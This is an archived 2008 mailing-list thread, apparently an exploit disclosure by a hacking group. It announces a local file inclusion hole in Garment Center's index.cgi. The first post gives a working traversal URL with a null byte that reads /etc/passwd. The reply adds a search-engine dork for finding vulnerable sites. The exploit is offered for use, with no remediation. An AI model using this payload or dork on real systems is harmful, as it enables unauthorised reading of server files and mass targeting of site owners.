Mailing List Archive: Garment Center (index.cgi) Local File Inclusion

Garment Center (index.cgi) Local File Inclusion

Jan 12, 2008, 8:44 AM

Post #1 of 2 (1608 views)

[+] Discovered by Smasher
[+] WarWolfz Crew.
[+] http://warwolfz.altervista.org/

Hey wassup....i've found a vulnerability in
Garmentcenter in index.cgi...

PoC:

/index.cgi?page=[LFI]

Ex.
http://site(1).com/index.cgi?page=../../../../../../../../etc/passwd%00

Regards.
Smasher.

Re: Garment Center (index.cgi) Local File Inclusion [ In reply to ]

Smasher at ciucciamiilcalzino

Jan 14, 2008, 9:13 AM

Post #2 of 2 (1553 views)

Permalink

Forgot...

The Dork:

"This site designed and managed by: garmentcenter.net" filetype:cgi